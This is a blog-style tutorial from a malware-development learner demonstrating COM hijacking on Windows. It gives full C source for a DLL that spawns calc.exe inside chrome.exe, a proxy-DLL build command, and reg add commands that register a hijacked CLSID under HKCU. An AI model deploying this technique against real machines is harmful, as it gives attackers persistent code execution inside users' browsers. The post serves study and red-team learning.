COM Hijacking - Part 1

Introduction

Recently I started learning malware development, and having had the fortune (or possibly misfortune) of already using Win32 for some of my school work, I became curious about how some malicious techniques exploit benign Windows features. One that caught my eye was COM hijacking. This post serves as an example of a COM hijack, as well as some information about the technique.

When I first heard about COM hijacking, I was curious as I noticed it wasn’t covered in Maldev Academy, and the name of the technique raised the question:

What the Heck is a COM?

Admittedly, I’m still not fully sure, and it’s not that relevant to the task at hand. As a quick definition, COM stands for Component Object Model, and is a set of processes that define how an object can be interfaced with (created, destroyed, managed, etc.). The primary case for COM is cross-process interoperability, it’s essentially just a set of interfaces that objects can use for greater compatibility.

How Does COM Hijacking Work?

The goal of this post is to demonstrate an example COM hijack, not to give an in-depth explanation of how or why it works, so I recommend checking out other resources for a more detailed explanation, especially the ones I have linked as references. At a high level, COM hijacking works by identifying a component absent in HKCU (or overriding an existing one) and replacing it with your own malicious component. The methodology used in this post is identifying a CLSID missing from the HKCU hive, and creating it with a malicious DLL. The malicious DLL must use DLL proxying, otherwise the functionality of the application will likely be destroyed upon loading the DLL. Naturally, there are many different ways to accomplish this, and the methodology below is just one such way.

Step 1: Identify a Target Object

First we need to identify the COM Object to Hijack. Using procmon, the following filters can be applied:

With these filters applied, we can choose a CLSID of interest: We can further inspect it by viewing its HKLM key. Upon further research this seems like a good candidate.

Step 2: Develop the DLL

While DLL development isn’t unique to COM hijacking, it’s an essential part of this example. For our purposes we will just be spawning a calc process.

Here’s the code I came up with:

1
#include <Windows.h>
2
#include <stdio.h>
3
#include <psapi.h>
4
#include <tlhelp32.h>
5

6
HANDLE g_hMutex = NULL;
7

8
DWORD WINAPI RunCalc(LPVOID lpParam) {
9
  // enforce a single instance of calc while chrome is open
10
  DWORD dwPID = GetCurrentProcessId();
11
  HANDLE hProc = GetCurrentProcess();
12
  CHAR baseName[32];
13
  GetModuleBaseNameA(hProc, NULL, baseName, sizeof(baseName));
14

15
  if (strcmp(baseName, "chrome.exe")) {
16
    printf("Not chrome, cancelling inject.\n");
17
    return 1;
18
  }
19

20
  g_hMutex = CreateMutexA(NULL, TRUE, "Global\\ChromeCalcSpawnMutex");
21
  if (GetLastError() == ERROR_ALREADY_EXISTS) {
22
    return 1;
23
  }
24
  // make a wchar version for Process32First
25
  WCHAR wBaseName[32];
26
  MultiByteToWideChar(CP_ACP, 0, baseName, -1, wBaseName, sizeof(wBaseName) / sizeof(WCHAR));
27

28
  // decided not to use a snapshot
29
  /*
30
  // take a snapshot of all processes
31
  HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
32
  if (hSnap == INVALID_HANDLE_VALUE) {
33
    printf("Failed to create snapshot.\n");
34
    return 1;
35
  }
36

37
  PROCESSENTRY32 pe;
38
  pe.dwSize = sizeof(PROCESSENTRY32);
39

40
  if (Process32First(hSnap, &pe)) {
41
    do {
42
      if (pe.th32ProcessID == dwPID)
43
        continue;
44
      if (lstrcmpiW(pe.szExeFile, wBaseName) == 0) {
45
        printf("Previous instance found: PID %lu\n", pe.th32ProcessID);
46
        CloseHandle(hSnap);
47
        return 1;
48
      }
49
    } while (Process32Next(hSnap, &pe));
50
  }
51
  */
52

53
  STARTUPINFOA si = { 0 };
54
  PROCESS_INFORMATION pi = { 0 };
55
  si.cb = sizeof(si);
56

57
  if (!CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
58
    printf("[-] CreateProcessW failed with error: %lu\n", GetLastError());
59
  }
60

61
  CloseHandle(pi.hProcess);
62
  CloseHandle(pi.hThread);
63
  return 0;
64
}
65

66
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
67
  switch (ul_reason_for_call) {
68
  case DLL_PROCESS_ATTACH:
69
    CreateThread(NULL, 0, RunCalc, NULL, 0, NULL);
70
    break;
71
  case DLL_PROCESS_DETACH:
72
    if (g_hMutex) {
73
      ReleaseMutex(g_hMutex);
74
      CloseHandle(g_hMutex);
75
      g_hMutex = NULL;
76
    }
77
    break;
78
  case DLL_THREAD_ATTACH:
79
  case DLL_THREAD_DETACH:
80
    break;
81
  }
82

83
  return TRUE;
84
}

A few notes:

• THIS CODE IS NOT PERFECT. For instance, spawning a thread in DllMain isn’t best practice, if chrome crashes the mutex might leak. This can be mitigated using SEH or a global flag.
• To ensure that calc only opens once, a global mutex is used. Originally I tried making a snapshot instead, but since chrome can spawn a lot of processes at/near the same time, they would cancel each other out and none would spawn calc.
• Also, it’s important to be careful about which process you are injecting. In this case I make sure that only chrome.exe runs our payload. I learned this the hard way by accidentally injecting explorer.exe and having my dll persist whenever the process restarted. Luckily I always snapshot my VM so I just reset it.
• There are many other stealthier / more advanced ways to dll inject than DLL_PROCESS_ATTACH, but for our purposes the standard DLL injection is used

Step 3: DLL Proxying

DLL proxying (also called function proxying) essentially is a way to proxy the functionality of a legitimate DLL with the functionality of an evil proxy DLL. This is accomplished by rebuilding the export table of the evil DLL with the functions from the legitimate DLL, such that the evil proxy DLL maintains the same functionality as the legitimate DLL while also being able to execute arbitrary code.

We’ll use Koppelling to achieve DLL proxying: .\NetClone.exe --reference C:\Windows\System32\DataExchange.dll --target "comhijack.dll" --output "dataexchange_HIJACKED.dll"

Step 4: Let It Rip

We’re pretty much ready to go! Now we just need to add the registry key corresponding to the missing COM Object:

reg add "HKCU\Software\Classes\CLSID\\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\InProcServer32" /ve /t REG_EXPAND_SZ /d dataexchange_HIJACKED.dll /f

reg add "HKCU\Software\Classes\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\InProcServer32" /v ThreadingModel /t REG_SZ /d Both /f

Upon launching chrome, we can see the calculator spawn:

To further ensure our DLL was loaded process explorer or resource monitor can be used to investigate the DLLs that chrome.exe has loaded. From here, a crafty attacker could use the execution within chrome to exfil browser data, hide c2 traffic, install malicious extensions, etc. For now we’ll stop here though.

Cleanup:

Just delete the registry key created earlier.

References:

https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/ https://silentbreaksecurity.com/adaptive-dll-hijacking/ https://pentestlab.blog/2020/05/20/persistence-com-hijacking/